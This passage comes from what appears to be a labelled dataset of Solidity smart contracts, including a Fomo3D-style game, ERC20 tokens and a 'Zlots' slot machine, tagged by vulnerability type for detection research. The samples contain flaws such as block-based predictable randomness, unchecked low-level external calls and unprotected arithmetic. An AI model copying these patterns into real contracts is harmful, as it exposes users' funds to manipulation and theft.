plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100; uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_mkt); if (!owner.send(_com)) { _com = 0; _res = _res.add(_com); } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.mktAmount = _mkt; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number)))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100; _com = _com.add(_mkt); owner.transfer(_com); _eventData_.mktAmount = _mkt; return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 cut = (fees_[_team].marketing).add(13); _eth = _eth.sub(_eth.mul(cut) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) { _gen = _gen.sub(_dust); } round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public onlyOwner { require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 mktAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 marketing; } struct PotSplit { uint256 gen; uint256 marketing; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }",./Dataset/block number dependency (BN),0,0 78.sol,"pragma solidity ^0.4.4; contract Token { function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} ///burns tokens from totaly supply forever function burn(uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balances[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balances[msg.sender] = Token.safeSub(balances[msg.sender], _value); // Subtract from the sender totalSupply = Token.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract OodlebitToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function OodlebitToken( ) { balances[msg.sender] = 200000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 200000000000000000000000000; // Update total supply (100000 for example) name = ""OODL""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""OODL""; // Set the symbol for display purposes //200000000000000000000000000 //18 decimals //total supply: 200,000,000 OODL } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1503.sol,"pragma solidity ^0.4.21 ; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract StandardBurnableToken is BurnableToken, StandardToken { function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract DbBurnedToken is StandardBurnableToken{ string public name = ""Dragonvein Coin""; string public symbol = ""DVC""; uint8 public decimals = 18; uint256 public INITIAL_SUPPLY = 10000000000000000000000000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }",./Dataset/integer overflow (OF)/,4,4 1101.sol,"pragma solidity ^0.4.24; contract ZethrTokenBankroll{ function gameRequestTokens(address target, uint tokens) public; function gameTokenAmount(address what) public returns (uint); } contract ZethrMainBankroll{ function gameGetTokenBankrollList() public view returns (address[7]); } contract ZethrInterface{ function withdraw() public; } library ZethrTierLibrary{ function getTier(uint divRate) internal pure returns (uint){ uint actualDiv = divRate; if (actualDiv >= 30){ return 6; } else if (actualDiv >= 25){ return 5; } else if (actualDiv >= 20){ return 4; } else if (actualDiv >= 15){ return 3; } else if (actualDiv >= 10){ return 2; } else if (actualDiv >= 5){ return 1; } else if (actualDiv >= 2){ return 0; } else{ revert(); } } } contract ZlotsJackpotHoldingContract { function payOutWinner(address winner) public; function getJackpot() public view returns (uint); } contract ZethrBankrollBridge { ZethrInterface Zethr; address[7] UsedBankrollAddresses; mapping(address => bool) ValidBankrollAddress; function setupBankrollInterface(address ZethrMainBankrollAddress) internal { Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); for(uint i=0; i<7; i++){ ValidBankrollAddress[UsedBankrollAddresses[i]] = true; } } modifier fromBankroll(){ require(ValidBankrollAddress[msg.sender], ""msg.sender should be a valid bankroll""); _; } function RequestBankrollPayment(address to, uint tokens, uint tier) internal { address tokenBankrollAddress = UsedBankrollAddresses[tier]; ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); } function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); } } contract ZethrShell is ZethrBankrollBridge { function WithdrawToBankroll() public { address(UsedBankrollAddresses[0]).transfer(address(this).balance); } function WithdrawAndTransferToBankroll() public { Zethr.withdraw(); WithdrawToBankroll(); } } contract Zlots is ZethrShell { using SafeMath for uint; event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); event TokensWagered( address _wagerer, uint _wagered ); event LogResult( address _wagerer, uint _result, uint _profit, uint _wagered, uint _category, bool _win ); event Loss(address _wagerer, uint _block); event ThreeMoonJackpot(address _wagerer, uint _block); event TwoMoonPrize(address _wagerer, uint _block); event ZTHPrize(address _wagerer, uint _block); event ThreeZSymbols(address _wagerer, uint _block); event ThreeTSymbols(address _wagerer, uint _block); event ThreeHSymbols(address _wagerer, uint _block); event ThreeEtherIcons(address _wagerer, uint _block); event ThreePurplePyramids(address _wagerer, uint _block); event ThreeGoldPyramids(address _wagerer, uint _block); event ThreeRockets(address _wagerer, uint _block); event OneMoonPrize(address _wagerer, uint _block); event OneOfEachPyramidPrize(address _wagerer, uint _block); event TwoZSymbols(address _wagerer, uint _block); event TwoTSymbols(address _wagerer, uint _block); event TwoHSymbols(address _wagerer, uint _block); event TwoEtherIcons(address _wagerer, uint _block); event TwoPurplePyramids(address _wagerer, uint _block); event TwoGoldPyramids(address _wagerer, uint _block); event TwoRockets(address _wagerer, uint _block); event SpinConcluded(address _wagerer, uint _block); modifier betIsValid(uint _betSize, uint divRate) { require(_betSize.mul(100) <= getMaxProfit(divRate)); _; } modifier gameIsActive { require(gamePaused == false); _; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; mapping (uint => uint) public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 1e18; address public zlotsJackpot; address private owner; address private bankroll; bool gamePaused; uint public totalSpins; uint public totalZTHWagered; mapping (uint => uint) public contractBalance; mapping(uint => uint) public maxBet; bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; constructor(address BankrollAddress) public { setupBankrollInterface(BankrollAddress); owner = msg.sender; ownerSetMaxProfitAsPercentOfHouse(50000); bankroll = ZTHBANKROLL; gameActive = true; ownerSetMinBet(1e18); } function() public payable { } struct TKN { address sender; uint value; } function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _spinTokens(_tkn, divRate); return true; } struct playerSpin { uint200 tokenValue; uint48 blockn; uint8 tier; } mapping(address => playerSpin) public playerSpins; function _spinTokens(TKN _tkn, uint divRate) private betIsValid(_tkn.value, divRate) { require(gameActive); require(1e18 <= _tkn.value); require(_tkn.value < ((2 ** 200) - 1)); require(block.number < ((2 ** 56) - 1)); address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; playerSpin memory spin = playerSpins[_tkn.sender]; addContractBalance(divRate, _wagered); require(block.number != spin.blockn); if (spin.blockn != 0) { _finishSpin(_tkn.sender); } spin.blockn = uint48(block.number); spin.tokenValue = uint200(_wagered); spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); playerSpins[_tkn.sender] = spin; totalSpins += 1; totalZTHWagered += _wagered; emit TokensWagered(_customerAddress, _wagered); } function finishSpin() public gameIsActive returns (uint) { return _finishSpin(msg.sender); } function _finishSpin(address target) private returns (uint) { playerSpin memory spin = playerSpins[target]; require(spin.tokenValue > 0); require(spin.blockn != block.number); uint profit = 0; uint category = 0; uint result; if (block.number - spin.blockn > 255) { result = 1000000; } else { result = random(1000000, spin.blockn, target) + 1; } if (result > 476662) { RequestBankrollPayment(zlotsJackpot, profit, tier); playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); emit Loss(target, spin.blockn); emit LogResult(target, result, profit, spin.tokenValue, category, false); } else if (result < 2) { profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); category = 1; emit ThreeMoonJackpot(target, spin.blockn); emit LogResult(target, result, profit, spin.tokenValue, category, true); uint8 tier = spin.tier; playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); } else { if (result < 299) { profit = SafeMath.mul(spin.tokenValue, 100); category = 2; emit TwoMoonPrize(target, spin.blockn); } else if (result < 3128) { profit = SafeMath.mul(spin.tokenValue, 20); category = 3; emit ZTHPrize(target, spin.blockn); } else if (result < 5957) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); category = 4; emit ThreeZSymbols(target, spin.blockn); } else if (result < 8786) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); category = 5; emit ThreeTSymbols(target, spin.blockn); } else if (result < 11615) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); category = 6; emit ThreeHSymbols(target, spin.blockn); } else if (result < 14444) { profit = SafeMath.mul(spin.tokenValue, 15); category = 7; emit ThreeEtherIcons(target, spin.blockn); } else if (result < 17273) { profit = SafeMath.mul(spin.tokenValue, 10); category = 8; emit ThreePurplePyramids(target, spin.blockn); } else if (result < 20102) { profit = SafeMath.mul(spin.tokenValue, 10); category = 9; emit ThreeGoldPyramids(target, spin.blockn); } else if (result < 22930) { profit = SafeMath.mul(spin.tokenValue, 12); category = 10; emit ThreeRockets(target, spin.blockn); } else if (result < 52333) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); category = 11; emit OneMoonPrize(target, spin.blockn); } else if (result < 120226) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); category = 12; emit OneOfEachPyramidPrize(target, spin.blockn); } else if (result < 171147) { profit = spin.tokenValue; category = 13; emit TwoZSymbols(target, spin.blockn); } else if (result < 222068) { profit = spin.tokenValue; category = 14; emit TwoTSymbols(target, spin.blockn); } else if (result < 272989) { profit = spin.tokenValue; category = 15; emit TwoHSymbols(target, spin.blockn); } else if (result < 323910) { profit = SafeMath.mul(spin.tokenValue, 2); category = 16; emit TwoEtherIcons(target, spin.blockn); } else if (result < 374831) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); category = 17; emit TwoPurplePyramids(target, spin.blockn); } else if (result < 425752) { profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); category = 18; emit TwoGoldPyramids(target, spin.blockn); } else { profit = SafeMath.mul(spin.tokenValue, 2); category = 19; emit TwoRockets(target, spin.blockn); } emit LogResult(target, result, profit, spin.tokenValue, category, true); tier = spin.tier; playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); RequestBankrollPayment(target, profit, tier); } emit SpinConcluded(target, spin.blockn); return result; } function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } function setMaxProfit(uint divRate) internal { maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } function getMaxProfit(uint divRate) public view returns (uint) { return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } function subContractBalance(uint divRate, uint sub) internal { contractBalance[divRate] = contractBalance[divRate].sub(sub); } function addContractBalance(uint divRate, uint add) internal { contractBalance[divRate] = contractBalance[divRate].add(add); } function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll { contractBalance[divRate] = newBalance; setMaxProfit(divRate); } function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(2); setMaxProfit(5); setMaxProfit(10); setMaxProfit(15); setMaxProfit(20); setMaxProfit(25); setMaxProfit(33); } function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } function ownerSetZlotsAddress(address zlotsAddress) public onlyOwner { zlotsJackpot = zlotsAddress; } function pauseGame() public onlyOwnerOrBankroll { gameActive = false; } function resumeGame() public onlyOwnerOrBankroll { gameActive = true; } function changeOwner(address _newOwner) public onlyOwnerOrBankroll { owner = _newOwner; } function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { bankroll = _newBankroll; } function _zthToken(address 